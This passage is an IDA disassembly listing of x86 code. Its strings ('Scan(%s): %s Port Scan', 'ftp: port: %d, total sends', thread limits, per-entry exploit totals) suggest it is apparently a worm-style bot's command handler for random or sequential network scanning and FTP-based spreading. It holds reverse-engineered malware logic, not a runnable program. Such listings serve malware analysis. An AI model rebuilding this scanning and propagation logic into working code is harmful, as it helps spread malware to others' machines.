		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401677


loc_422691:				; CODE XREF: sub_422650+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422650	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_401ED3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4226E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422721
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014C9


loc_422721:				; CODE XREF: sub_4226E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_401A78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019BA
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422770	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422790	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422790	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227C0	proc near		; CODE XREF: sub_4019BAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_4227D8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4227D8:				; CODE XREF: sub_4227C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4227C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4227F0	proc near		; CODE XREF: sub_401AE1j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4227F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D5FBB, offset aAsn ; "asn"
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4227F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422A40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422A40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422B0A
		push	3
		call	sub_401483
		add	esp, 4
		test	eax, eax
		jle	short loc_422ADD
		push	3
		call	sub_401D8E
		mov	eax, dword_50BB80[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422ADD:				; CODE XREF: sub_422A40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422B0A:				; CODE XREF: sub_422A40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422BB0
		mov	edi, dword_4D63A0
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4231BD
		mov	edx, dword_44767F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422BB0:				; CODE XREF: sub_422A40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422C30
		push	eax
		push	3
		call	sub_401D93
		add	esp, 8
		test	eax, eax
		jle	short loc_422C05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C05:				; CODE XREF: sub_422A40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C30:				; CODE XREF: sub_422A40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_422CDE
		push	3
		call	sub_401483
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	2
		push	eax
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017E4
		push	eax
		call	edi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422E56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_422CDE:				; CODE XREF: sub_422A40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422E39
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_444438
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422D69
		mov	eax, offset dword_444438


loc_422D55:				; CODE XREF: sub_422A40+327j
		cmp	[eax+8], edi
		jb	short loc_422D5F
		mov	[esp+7A0h+var_78D], 1


loc_422D5F:				; CODE XREF: sub_422A40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422D55


loc_422D69:				; CODE XREF: sub_422A40+30Ej
		mov	ebp, dword_50FBF0
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp
		mov	eax, dword_444438
		add	esp, 8
		test	eax, eax
		jz	short loc_422DCF
		mov	edi, offset dword_444440


loc_422D8F:				; CODE XREF: sub_422A40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422D8F


loc_422DCF:				; CODE XREF: sub_422A40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422E29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	0
		call	sub_401523
		add	esp, 10h


loc_422E29:				; CODE XREF: sub_422A40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422E39:				; CODE XREF: sub_422A40+1C0j
					; sub_422A40+1EBj ...
		xor	al, al


loc_422E3B:				; CODE XREF: sub_422A40+98j
					; sub_422A40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422E56:				; CODE XREF: sub_422A40+26Ej
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017E4
		push	eax
		call	edi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_422F33
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_422F43
; ---------------------------------------------------------------------------


loc_422F33:				; CODE XREF: sub_422A40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_422F43
		mov	[esp+7A0h+var_658], 3Ch


loc_422F43:				; CODE XREF: sub_422A40+4F1j
					; sub_422A40+4F6j
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017E4
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_422F9C
		mov	[esp+7A0h+var_654], eax


loc_422F9C:				; CODE XREF: sub_422A40+553j
		mov	eax, dword_444438
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42306C
		mov	ebp, offset dword_444438
		jmp	short loc_422FC2
; ---------------------------------------------------------------------------


loc_422FBF:				; CODE XREF: sub_422A40+602j
		or	ebx, 0FFFFFFFFh


loc_422FC2:				; CODE XREF: sub_422A40+57Dj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_422FEC:				; CODE XREF: sub_422A40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423010
		test	al, al
		jz	short loc_42300C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423010
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_422FEC


loc_42300C:				; CODE XREF: sub_422A40+5B6j
		xor	eax, eax
		jmp	short loc_423014
; ---------------------------------------------------------------------------


loc_423010:				; CODE XREF: sub_422A40+5B2j
					; sub_422A40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423014:				; CODE XREF: sub_422A40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42304A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_422FBF
		jmp	short loc_423069
; ---------------------------------------------------------------------------


loc_42304A:				; CODE XREF: sub_422A40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_444438[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423069:				; CODE XREF: sub_422A40+608j
		or	ebx, 0FFFFFFFFh


loc_42306C:				; CODE XREF: sub_422A40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42308A
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4231A5
; ---------------------------------------------------------------------------


loc_42308A:				; CODE XREF: sub_422A40+635j
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset dword_443DC4
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013E3
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423167
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423296
; ---------------------------------------------------------------------------


loc_423167:				; CODE XREF: sub_422A40+688j
		push	offset dword_444574
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset off_444570
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset off_44456C
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4231A5:				; CODE XREF: sub_422A40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_4231BD:				; CODE XREF: sub_422A40+132j
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_4231C4:				; CODE XREF: sub_422A40+735j
					; sub_422A40+745j ...
		mov	ecx, dword_4D60BD
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		call	near ptr 71AB951Eh
		nop
		push	offset off_444570
		mov	ecx, esi
		call	sub_4013E3
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_444574
		call	sub_4013E3
		test	eax, eax
		jz	short loc_42328B
		push	offset off_444570
		mov	ecx, esi
		call	sub_4013E3
		mov	ebp, dword_50FA90
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42327E


loc_423262:				; CODE XREF: sub_422A40+83Cj
		test	eax, eax
		jz	short loc_42327E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423262


loc_42327E:				; CODE XREF: sub_422A40+820j
					; sub_422A40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423296
; ---------------------------------------------------------------------------


loc_42328B:				; CODE XREF: sub_422A40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423296:				; CODE XREF: sub_422A40+722j
					; sub_422A40+849j
		mov	edx, dword_4D60BD
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4232F8
		mov	eax, offset aSequential	; "sequential"


loc_4232F8:				; CODE XREF: sub_422A40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:44441Ah[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BD6
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402261
		mov	al, 1
		jmp	loc_422E3B
sub_422A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4235F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F60
		mov	ecx, offset dword_447988
		setnz	bl
		call	sub_4014D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D60A5
		call	sub_401848
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_444440[eax*4]
		inc	ecx
		mov	dword_444440[eax*4], ecx
		mov	al, 1
		retn
sub_4235F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423660	proc near		; CODE XREF: sub_401DF7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50DAD8
		nop
		call	near ptr byte_5EA1BD
		mov	eax, offset dword_50DAD8
		add	esp, 2Ch
		retn
sub_423660	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423720	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50BB80[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50BB80[esi*8], eax
		pop	esi
		retn
sub_423720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423792
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423792:				; CODE XREF: sub_423760+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
